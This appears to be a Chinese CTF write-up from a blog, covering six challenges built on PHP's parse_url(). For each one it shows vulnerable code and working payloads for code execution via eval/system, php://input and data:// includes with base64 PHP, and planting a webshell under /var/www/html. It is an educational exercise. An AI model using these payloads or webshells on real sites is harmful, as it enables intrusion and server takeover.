您现在的位置是:首页 >技术交流 >CTF之Parse_url函数网站首页技术交流

CTF之Parse_url函数

Elitewa 2024-07-15 12:01:02
简介CTF之Parse_url函数

前言:

本文章例题来源于CTFshow每周大挑战,文中若有错误还请指出

什么是PARSE_URL函数?

parse_url() 是 PHP 内置函数之一,用于解析 URL 字符串,将其拆分为不同的组成部分,可以获取协议、主机名、端口号、路径、查询参数等信息。

语法为:

parse_url ( string $url [, int $component = -1 ] )

示例:

<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果:
Array
(
    [scheme] => http
    [host] => host
    [user] => user
    [pass] => pass
    [path] => /path
    [query] => args=value
    [fragment] => anch
)

第一关:

<?php
$data = parse_url($_GET['u']);
eval($data['host']);
?>

分析可得,该代码将parse_url函数处理结果传递给 data数组,并将URL中的host部分作为php代码执行

这里说一下为什么不能直接在host部分直接传入 system('ls /') 等带“/”的payload,因为该函数默认把 host部分 / 后面的字符串识别为PATH部分,这样我们传入的host部分只为 system('ls 因而无法被正确执行

payload1:

?u=http://eval($_POST[w]);

POST传参进行命令执行即可

payload2:

?u=http://system(‘cd … ; cd … ; cd … ; ls’);/
" ; " 为命令连接符用于一条语句执行多个命令

这里使用 cd…逐级跳转目录,巧妙地替代了符号 /(直接遍历根目录),但是cd的正确层级需要慢慢尝试

第二关:

<?php

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];
?>

分析可得该代码会使用 include 函数包含 我们所传入URL的host及 path部分

payload1:

?u=http:php://input

POST传参
<?php system('ls /'); ?>

这里利用到了该函数的一个特性:

当我们输入?u=http:php://这样的格式时,path为php://
parse_url函数会把http:后面的部分全部识别为path,host部分为空

payload2:

?u=http://data:: //text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
#host=data:
#path=//text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

这里使用的data://伪协议进行传参

解释一下为什么data后面会有两个冒号,该函数会默认最后一个冒号后面是端口port,如果只有一个冒号的话,我们所传入的host部分为data,其中的冒号被当做端口部分,所以加一个绕过

第三关:

<?php

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];
?>

分析可得该代码会使用include函数包含我们所传入URL的 scheme及path部分

payload1:

GET传参
?u==php:://input

POST传参
<?php system('ls /'); ?>

#scheme(传输协议)=php
#path=://input

这里和第二关的payload1原理相似,该函数会把scheme(传输协议)后的第一个冒号后的内容识别为path
例如:

当我们输入?u=http:://good 时,
path是 “://good”
scheme是 “http”
拼接在一起就是“http://123”。
我们要使用php://input伪协议,只需将http改为php,将://good改为://input即可

payload2:

 ?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFfZ18xc19oM3JlIik7Pz4=

与payload1原理一样,只是把 php://input 伪协议换为了 data://

第四关:

<?php

$data = parse_url($_GET['u']);

system($data['host']);
?>

分析可得该代码会将URL的host部分当做系统命令执行

payload1:

?u=http://cd ..;cd ..;cd ..;ls

与第一关的payload2原理一样,都是使用的cd逐级跳转目录

第五关:

<?php
extract(parse_url($_GET['u']));
include $$$$$$host;
?>

关于extrac函数可以参考我的这篇文章

这道题本质就是利用URL的各组成部分进行变量套娃

payload1:

GET传参
?u=user://pass:fragment@scheme/?php://input%23query
注:%23#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。

POST传参
<?php system('ls /');?>

这样的话:
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=php://input

第六关:

<?php
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);
?>

分析代码可得 可以用file_put_contents函数,往path代表的文件里写入host代表的内容,如果文件不存在的话,会自动创建文件,我们可以借此getshell或者传入system命令

payload1:

?u=http://<script language='php'>phpinfo();/var/www/html/a.php

#$data['host']=<script language='php'>eval($_GET[1]);;
#$data['path']=/var/www/html/a.php

然后访问a.php
url/a.php?1=system('ls /');

这里解释下为什么PHP代码要用<script>标签表示
由于?后面会被解析成query,所以需要更换php标签,这里用的js,由于path中一定会有/,所以选择绝对路径上传,这里路径猜测默认路径
绝大多数CTF赛题的web路径都为 /var/www/htm

payload2:

getshell方法

?u=//<script language="php"> eval($_POST['1']);/var/www/html/1.php

密码为1,蚁剑连接即可

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。